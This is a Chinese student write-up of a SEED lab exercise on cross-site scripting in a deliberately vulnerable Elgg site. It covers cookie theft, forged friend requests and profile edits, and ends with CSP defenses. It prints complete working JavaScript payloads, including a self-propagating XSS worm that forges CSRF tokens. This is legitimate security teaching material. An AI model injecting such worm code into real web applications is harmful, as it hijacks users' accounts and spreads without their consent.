一、题目 跨站点脚本(XSS)是一种常见于web应用程序中的计算机安全漏洞。此漏洞使攻击者有可能将恶意代码(如JavaScripts)注入受害者的web浏览器。 为了演示攻击者可以做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。我们已经注释掉了Elgg的一些保护方法,故意使其容易受到XSS攻击。学生们需要利用这些漏洞发动攻击,就像Samy Kamkar在2005年通过臭名昭著的Samy蠕虫对MySpace所做的那样。此攻击的最终目标是在用户之间传播XSS蠕虫,这样无论谁查看受感染的用户配置文件都会受到感染,无论谁受感染都会将您(即攻击者)添加到他/她的好友列表中。 二、过程 一、Task 1: Posting a Malicious Message to Display an Alert Window 在Elgg配置文件中嵌入一个JavaScript程序,这样当另一个用户查看您的配置文件时,将执行JavaScript程序,并将显示一个警报窗口。以下JavaScript程序将显示一个警报窗口: 回到个人主页得到结果弹窗如图: 二、Task 2: Posting a Malicious Message to Display Cookies 此任务的目的是在Elgg配置文件中嵌入一个JavaScript程序,这样当另一个用户查看您的配置文件时,用户的Cookie将显示在警报窗口中。这可以通过在上一个任务中向JavaScript程序中添加document.cookie 得到cookie如图: 三、Task 3: Stealing Cookies from the Victim’s Machine 在此任务中,攻击者希望JavaScript代码将Cookie发送给自己。要实现这一点,恶意的JavaScript代码需要向攻击者发送一个HTTP请求,并将Cookie附加到该请求中。我们可以通过让恶意JavaScript插入一个为攻击者的机器设置src属性的标签来实现这一点。当JavaScript插入img标签时,浏览器会试图从src字段中的URL加载图像;这将导致向攻击者的机器发送一个HTTPGET请求。下面给出的JavaScript将Cookie发送到攻击者机器的端口5555(IP地址为10.9.0.1),其中攻击者有一个TCP服务器侦听同一端口。 首先开启监听: 修改Alice的profile,登录samy账号点进Alice的profile: 在监听窗口得到返回的cookie: 四、Task 4: Becoming the Victim’s Friend 编写一个XSS蠕虫,将Samy作为朋友添加到任何其他访问Samy页面的用户中。这种蠕虫不会自我传播;在任务6中,我们将使它能够自我传播。在这个任务中,我们需要编写一个恶意的JavaScript程序,该程序直接从受害者的浏览器伪造HTTP请求,而不需要攻击者的干预。这次袭击的目的是让萨米成为受害者的朋友。我们已经在Elgg服务器上创建了一个名为Samy的用户(用户名是Samy)。为了为受害者添加朋友,我们应该首先了解合法用户如何在Elgg中添加朋友。更具体地说,我们需要找出当用户添加朋友时向服务器发送了什么。火狐的HTTP检查工具可以帮助我们获取信息。它可以显示从浏览器发送的任何HTTP请求消息的内容。从这些内容中,我们可以识别请求中的所有参数。 利用 js 实现 GET 方法。修改samy 的 profile 如图所示。保存后,所有访问者均会触发这段代码。 <script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET", sendurl, true); Ajax.send(); } </script> 可以用Alice登录,目前没有朋友,访问samy主页后得到添加朋友成功。 ![]() Question 1: Explain the purpose of Lines ➀ and ➁, why are they are needed? ts 和 token 可以验证用户身份,获取它们形成完整的 GET 请求,达到欺骗服务器的目的。 Question 2: If the Elgg application only provide the Editor mode for the “About Me” fifield, i.e., you cannot switch to the Text mode, can you still launch a successful attack? 还能成功发布攻击,因为Brief description,Location,Interests等字段,都可以注入Script代码 五、Task 5: Modifying the Victim’s Profifile 这项任务的目的是在受害者访问萨米的页面时修改受害者的个人资料。需要编写一个恶意的JavaScript程序,该程序直接从受害者的浏览器伪造HTTP请求,而不需要攻击者的干预。将使用火狐的HTTP检查工具构建HTTP POST请求来修改用户的配置文件。 得到接口地址为: http://www.seed-server.com/action/profile/edit 构建Script,token等数据都放在了Post里。 <script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid=elgg.session.user.guid; var ts=elgg.security.token.__elgg_ts; var token=elgg.security.token.__elgg_token; var updateMessage = "hahaha"; //Construct the content of your url. var content="__elgg_token="+token+"&__elgg_ts="+ts+"&name="+userName+"&description=&accesslevel[description]=2&briefdescription="+updateMessage+"&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid="+guid; var sendurl="http://www.seed-server.com/action/profile/edit"; //FILL IN var samyGuid = 59; //Create and send Ajax request to modify profile if(guid!=samyGuid){ //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST", sendurl, true); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script> 用Alice登录,目前主页无信息,访问samy主页后自己主页出现hello Question 3: Why do we need Line ➀? Remove this line, and repeat your attack. Report and explain your observation. 这行if判断当前访问用户是不是攻击者自身。如果是,就不进行攻击。因为进攻会导致攻击者保存自己的 profile 后,description 立即被改变,导致无法实施攻击。 六、Task 6: Writing a Self-Propagating XSS Worm 实现蠕虫不仅会修改受害者的配置文件,并将用户“Samy”添加为朋友,而且还会将蠕虫本身的副本添加到受害者的配置文件中,因此受害者将变成攻击者。为了实现自我传播,当恶意的JavaScript修改受害者的配置文件时,它应该将自己复制到受害者的配置文件中。 如果整个JavaScript程序(即蠕虫)嵌入在受感染的配置文件中,为了将蠕虫传播到另一个配置文件,蠕虫代码可以使用DOMAPI从Web页面检索自己的副本。下面给出了一个使用DOMapi的示例。此代码获取自己的副本,并显示在警报窗口中: <script id="worm"> var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); window.onload = function(){ var userName="&name="+elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content=token + ts + userName +"&description=" + wormCode + "&accesslevel[description]=2&briefdescription=samy%20is%20my%20hero&accesslevel[briefdescription]=2" +guid; var samyGuid=59; var sendurl="http://www.seed-server.com/action/profile/edit"; if(elgg.session.user.guid!=samyGuid) { var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST", sendurl, true); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script> 登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了 登录 BOBY 账号,查看 Alice 的 profile,看到自己的 profile 已经被修改了 七、Task 7: Defeating XSS Attacks Using CSP CSP不仅限制了JavaScript代码,还限制了其他页面内容,如限制图片、音频和视频的来源,以及限制页面是否可以放在iframe内(用于击败ClickJack攻击)。关注如何使用CSP来击败XSS攻击。 (一)修改 apache_csp.conf 重新dcbuild和dcup后观察到4,5,6均为ok (二)修改 phpindex.php,重新dcbuild、dcup,观察到 1、2、4、5、6 变成了 OK |